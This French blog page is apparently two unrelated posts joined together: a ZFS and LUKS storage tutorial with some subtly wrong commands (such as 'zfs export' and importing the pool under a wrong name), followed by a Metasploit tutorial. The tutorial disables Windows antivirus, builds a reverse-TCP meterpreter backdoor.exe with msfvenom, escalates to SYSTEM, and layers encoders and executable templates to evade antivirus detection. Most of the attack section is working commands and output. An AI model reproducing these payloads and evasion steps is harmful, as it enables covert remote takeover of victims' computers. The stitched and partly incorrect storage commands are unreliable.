( « dataset » peut se comprendre comme un « sous-volume » au sens « Btrfs » )

On prépare un point de montage pour ce « volume ».

# mkdir /mnt/ztest1 -m 0000

Et puis:

# zfs create zpool1/ztest1 -o mountpoint=/mnt/ztest1 -o compress=lz4 -o refquota=1G

Et hop, le « volume » apparaît au point de montage « /mnt/ztest1« .

Dans la foulée, on a ajouté la compression et un quota. (voir aussi « zfs set …« )

On peut ajouter un autre volume sans « quota »:

# mkdir /mnt/ztest2 -m 0000
# zfs create zpool1/ztest2 -o mountpoint=/mnt/ztest2 -o compress=lz4
# zfs list
NAME USED AVAIL REFER MOUNTPOINT
zpool1 181K 4,81G 19K none
zpool1/ztest1 19K 1024M 19K /mnt/ztest1
zpool1/ztest2 19K 4,81G 19K /mnt/ztest2

Pas besoin de modifier quoi que ce soit dans « /etc/fstab » :

Ces montages reviendront automatiquement au prochain redémarrage du système.

# lvcreate -L 5G -n cryptz1 vg0
 
# cryptsetup luksFormat -c aes-xts-plain64 -s 512 -h sha512 /dev/vg0/cryptz1
 
WARNING!
========
Cette action écrasera définitivement les données sur /dev/vg0/cryptz1.
 
Are you sure? (Type uppercase yes): YES
Saisissez la phrase secrète : ******************************************
Vérifiez la phrase secrète : ******************************************

# cryptsetup luksOpen /dev/vg0/cryptz1 cryptz1
Saisissez la phrase secrète pour /dev/vg0/cryptz1 : ******************************************

# zpool create -m none ZPOOL_CRYPT /dev/mapper/cryptz1
 
# zfs list ZPOOL_CRYPT
NAME USED AVAIL REFER MOUNTPOINT
ZPOOL_CRYPT 242K 4,81G 19K none

# mkdir /mnt/crypt1 -m 0000

# zfs create ZPOOL_CRYPT/crypt1 -o mountpoint=/mnt/crypt1 -o compress=lz4 -o refquota=1G

# mkdir /mnt/crypt2 -m 0000
# zfs create ZPOOL_CRYPT/crypt2 -o mountpoint=/mnt/crypt2 -o compress=lz4

# zfs list

NAME USED AVAIL REFER MOUNTPOINT
ZPOOL_CRYPT 181K 4,81G 19K none
ZPOOL_CRYPT/crypt1 19K 1024M 19K /mnt/crypt1
ZPOOL_CRYPT/crypt2 19K 4,81G 19K /mnt/crypt2

Ok?

Maintenant, on peut fermer ces « secrets » tout aussi simplement en faisant:

# zfs export ZPOOL_CRYPT
# cryptsetup luksClose cryptz1

« export » va exporter la conf (quelque part dans le système) et puis faire disparaître le « pool ».

Et pour remettre tout ça en place :

# cryptsetup luksOpen /dev/vg0/cryptz1 cryptz1
Saisissez la phrase secrète pour /dev/vg0/cryptz1 : ******************************************
 
  
# zpool import cryptz1

Voila: c’est revenu.

# zfs create -V 1G zpool1/zvol0

Et voila un nouveau disque dans « /dev/zpool1/zvol0 » …

Création d’un « snapshot » …

# zfs snapshot zpool1/ztest1@snap1
# zfs list -t snapshot
NAME USED AVAIL REFER MOUNTPOINT
zpool1/ztest1@snap1 0 - 21K -

« snapshot » qu’on peut monter avec « clone »:

# mkdir -m 0000 /mnt/snap1
# zfs clone zpool1/ztest1@snap1 zpool1/clone1 -o mountpoint=/mnt/snap1

Qu’on peut supprimer aussi après usage:

# zfs destroy zpool1/clone1

Et puis remettre le « dataset » original dans l’état du « snapshot ».

# zfs rollback zpool1/ztest1@snap1

Et si on n’a plus besoin du « snapshot », on le supprime aussi:

# zfs destroy zpool1/ztest1@snap1

Pour le reste, consulter la doc. 🙂

Metasploit: Générer une "backdoor" indétectable en C

Metasploit et msfvenom: Générer un exécutable Windows avec un PAYLOAD

Message pour moi-même et les Bots qui me liront

Metasploit: "meterpreter" contre les "Antivirus"

DoublePulsar: Mise en pratique d'un exploit sous Windows 2003 à partir de Debian

J'ai déjà montré comment installer “metaploit” sous Debian.
J'ai aussi montré comment s'appuyer sur diverses failles pour introduire le logiciel “meterpreter”.
J'ai aussi montré comment embarquer “meterpreter” dans un exécutable…

Mais certains antivirus résistent encore (ou se mettent simplement à jour), et les techniques d'hier ne fonctionnent plus forcément aujourd'hui.

Donc, on va repartir des bases, et tenté de trouver des solutions…

On a “metasploit” d'installé, et prêt à nous assister.

On a accès au poste d'une “victime” (consentante) avec les droits “Administrateur”: peu importe la méthode, il le faut pour nos tests.

Pour réaliser nos tests tranquillement, on désactive le service “antivirus” et “windows defender” (exemple):

C:\> sc stop avp
C:\> sc stop windefend

(a adapter selon votre environnement bien sur…)

Pour les exemples qui suivent , on va utiliser les paramètres suivants, sous forme de variables “BASH”.

$ export PAYLOAD_X86=windows/meterpreter/reverse_tcp
$ export PAYLOAD_X64=windows/x64/meterpreter/reverse_tcp
$ export LHOST=192.168.6.66
$ export LPORT=6666

Avant de poursuivre, il faut faire un petit point sur le choix d'une architecture 32 bit ou 64 bit:
En 2018 et dans un monde parfait, l'architecture “x64” devrait être le seul choix.

Mais hélas, ce n'est pas si simple.

De ma petite expérience, un “PAYLOAD” en 32 bit aura plus de chance de fonctionner, et sera plus facilement camouflable aux antivirus.

Mais après une injection réussit d'un “PAYLOAD” en 32 bit, lorsqu'on a finalement “meterpreter” fonctionnant en 32 bit, on se rend compte que certain outils ne sont pas totalement opérationnel (“mimikatz” par exemple).

Plusieurs solutions sont proposés dans ce post.

Pour valider nos tests, on va devoir se mettre en attente de la connexion venant de la “victime” (“PAYLOAD:reverse_tcp”) sur notre poste d' “attaquant”.

Pour cela , on démarre “msfconsole” et on tapote:

msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.6.66
LHOST => 192.168.6.66
msf exploit(multi/handler) > set LPORT 6666
LPORT => 6666
msf exploit(multi/handler) > 

“192.168.6.66” et “6666” sont respectivement l'adresse IP et le port mis à disposition par l'“attaquant” (moi).

Bien choisir l'architecture (“x86” ou “x64”) selon le “PAYLOAD” exploité de part et d'autre…

Et puis on se met en attente.

msf exploit(multi/handler) > exploit -j                                          
[*] Exploit running as background job 0.                                         
msf exploit(multi/handler) >
[*] Started reverse TCP handler on 192.168.6.66:6666
                                                         
msf exploit(multi/handler) >

On peut vérifier que notre “job” est bien en attente:

msf exploit(multi/handler) > jobs

Jobs
====

  Id  Name                    Payload                              Payload opts
  --  ----                    -------                              ------------
  0   Exploit: multi/handler  windows/x64/meterpreter/reverse_tcp  tcp://192.168.6.66:6666

msf exploit(multi/handler) >

Par la suite, lorsqu'une session arrivera, on tapera:

msf exploit(multi/handler) > sessions <NUMERO_SESSION>

Pour recommencer, il faudra relancer l'exploit avec: “exploit -j”

Exemple de situation réelle:

msf exploit(multi/handler) >
[*] Sending stage (206403 bytes) to 192.168.6.31
[*] Meterpreter session 3 opened (192.168.6.66:6666 -> 192.168.6.31:61300) at 2017-08-01 03:10:30 +0200

msf exploit(multi/handler) > sessions 3
[*] Starting interaction with 3...

meterpreter >

meterpreter > getuid
Server username: HACKME\victime

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: AUTORITE NT\Système

meterpreter > sysinfo
Computer        : HACKME0001
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : fr_FR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

Pour plus d'informations, voir la doc de “msfconsole” et “meterpreter”.

Exemple de création d'un exécutable pour une architecture “64 bit” :

$ msfvenom -p "$PAYLOAD_X64" LHOST="$LHOST" LPORT="$LPORT" -f exe-only > backdoor.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of exe-only file: 6144 bytes
$

Vérifions:

$ file backdoor.exe
backdoor.exe: PE32+ executable (GUI) x86-64, for MS Windows

Ne le faites pas: Le site “https://www.virustotal.com” devrait détecter que “backdoor.exe” est un malware.

Mon score: 16/62

On peut copier “backdoor.exe” , et une fois exécuté, on peut constater qu'une session s'ouvre comme attendu du côté de “msfconsole”…

On va tenté de réduire notre détection par des “antivirus” en masquant la signature du “PAYLOAD”.

On ajoute simplement les options “ -e x64/zutto_dekiru -i 3 -b 'x00' ”

$ msfvenom -p "$PAYLOAD_X64" LHOST="$LHOST" LPORT="$LPORT" -e x64/zutto_dekiru -i 3 -b 'x00' -f exe-only > backdoor.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x64/zutto_dekiru
x64/zutto_dekiru succeeded with size 557 (iteration=0)
x64/zutto_dekiru succeeded with size 610 (iteration=1)
x64/zutto_dekiru succeeded with size 666 (iteration=2)
x64/zutto_dekiru chosen with final size 666
Payload size: 666 bytes
Final size of exe-only file: 6144 bytes
$

Vous noterez que ça ne fonctionne pas forcément du 1er coup !
En effet, on demande a l'encodeur de masquer les “\x00” , ce qui n'est pas toujours possible.

Il faut soit recommencer, soit modifier les paramètres.

On peut noter ( voir “msfvenom --list”) qu'il y a peu d'encodeur disponible pour des “PAYLOAD” en 64 bit, en regard de ce qui existe pour l'architecture 32 bit …

Notre “backdoor.exe” fonctionne toujours, et cette fois, le score sur “https://www.virustotal.com” (ne le faites pas) est de : 13/65

C'est mieux , mais pas top.

Par défaut, on a créé une “backdoor” en s'appuyant sur des modèles (“template”) d'exécutable fournit par “metasploit”.

On va lui fournir un autre modèle pioché au hasard de nos balades sur les OS… par exemple: “notepad.exe”

Vérifions notre “modèle”:

$ file notepad.exe
notepad.exe: PE32+ executable (GUI) x86-64, for MS Windows

Nous ajoutons simplement l'option “-x notepad.exe” et nous créons notre “backdoor.exe” :

$ msfvenom -p "$PAYLOAD_X64" LHOST="$LHOST" LPORT="$LPORT" -x notepad.exe -f exe-only > backdoor.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of exe-only file: 193536 bytes

Nous pouvons vérifier que notre “backdoor.exe” fonctionne.

Score “https://www.virustotal.com” (ne le faites pas): 16/66

Combinons 1 simple encodage avec un modèle comme “notepad.exe”:

$ msfvenom -p "$PAYLOAD_X64" LHOST="$LHOST" LPORT="$LPORT" -e x64/zutto_dekiru -i 3 -b 'x00' -x notepad.exe -f exe-only > backdoor.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x64/zutto_dekiru
x64/zutto_dekiru succeeded with size 563 (iteration=0)
x64/zutto_dekiru succeeded with size 618 (iteration=1)
x64/zutto_dekiru succeeded with size 675 (iteration=2)
x64/zutto_dekiru chosen with final size 675
Payload size: 675 bytes
Final size of exe-only file: 193536 bytes
$

Notre “backdoor.exe” fonctionne toujours, et le score “https://www.virustotal.com” est de : 10/65

C'est mieux, mais j'ai 2 gros problèmes persistant:

On a besoin de faire mieux pour nous débarrasser de ces 2 là …

Il y a une autre manière de construire un “PAYLOAD” avant de l'embarquer dans un “modèle”…

Nous allons créé un “PAYLOAD” tout nu (“raw”), et nous allons lui appliquer plusieurs encodages.

Pour que ça fonctionne, on va devoir préciser 2 nouveaux paramètres:

$ export ARCH=x64
$ export PLAT=Windows

Voyons d'abord avec l'architecture “x64”:

$ msfvenom -p "$PAYLOAD_X64" LHOST="$LHOST" LPORT="$LPORT" -f raw > stagepl.raw
$ cat stagepl.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x64/xor -b 'x1f' -i 5 -f raw > stage2.raw
$ cat stage2.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x64/zutto_dekiru -i 3 -b 'x00' -f raw > stage3.raw
$ cat stage3.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x64/xor -b 'xaaxcc' -i 5 -f raw > stage4.raw
$ cat stage4.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x64/zutto_dekiru -b 'x00' -i 3 -x notepad.exe -f exe-only > backdoor.exe

Mais au final, vu l'effort fournit, le score avec “https://www.virustotal.com” est décevant: 10/66

On peut améliorer un tout petit peu ce score, malgré tout, en ajoutant un peu de données aléatoires a la fin de notre “modèle”.

Voyons ça, d'abord en créant un fichier avec des données aléatoires:

$ dd if=/dev/urandom of=./random.raw bs=512 count=100

Et enfin on concatène “notepad.exe” avec ces données (à la fin) pour créé un nouveau modèle nommé “rand_notepad.exe” .

$ cat notepad.exe random.raw > rand_notepad.exe

On recommence la dernière étape de notre création de “backdoor.exe” avec ce “modèle”:

$ cat stage4.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x64/zutto_dekiru -b 'x00' -i 3 -x rand_notepad.exe -f exe-only > backdoor.exe

Le score avec “https://www.virustotal.com” est un peu moins décevant: 8/65

C'est une mauvaise idée d'utiliser “notepad.exe”, ou tout programme venant de “Windows”. Intéressez-vous a des “modèles” peu connu.

Donc, nous allons passé à l'architecture “x86”, qui est un peu plus riche en “encodeurs”…

En conséquence, nous modifions quelques variables de notre environnement:

$ export ARCH=x86
$ export PLAT=Windows

Rappel, nous changeons de “PAYLOAD” aussi:

$ echo $PAYLOAD_X86
windows/meterpreter/reverse_tcp

Travaillons en couche, et avec pour modèle “notepad.exe” version 32 bit.

$ msfvenom -p "$PAYLOAD_X86" LHOST="$LHOST" LPORT="$LPORT" -f raw > stagepl.raw
$ cat stagepl.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x86/bloxor -b 'x00' -i 5 -f raw > stage2.raw
$ cat stage2.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x86/shikata_ga_nai -b 'x00xff' -i 10 -f raw > stage3.raw
$ cat stage3.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x86/jmp_call_additive -b 'x00' -i 5 -f raw > stage4.raw
$ cat stage4.raw | msfvenom -a "$ARCH" --platform "$PLAT" -e x86/call4_dword_xor -i 9 -b 'x00' -x notepad.exe -f exe-only > backdoor.exe

Au final, le score “https://www.virustotal.com” est terriblement décevant: 21/63

Et lorsqu'on regarde ce qui a été détecté, ce n'est pas le “PAYLOAD” , mais simplement la signature de l'encodeur !!!

A suivre…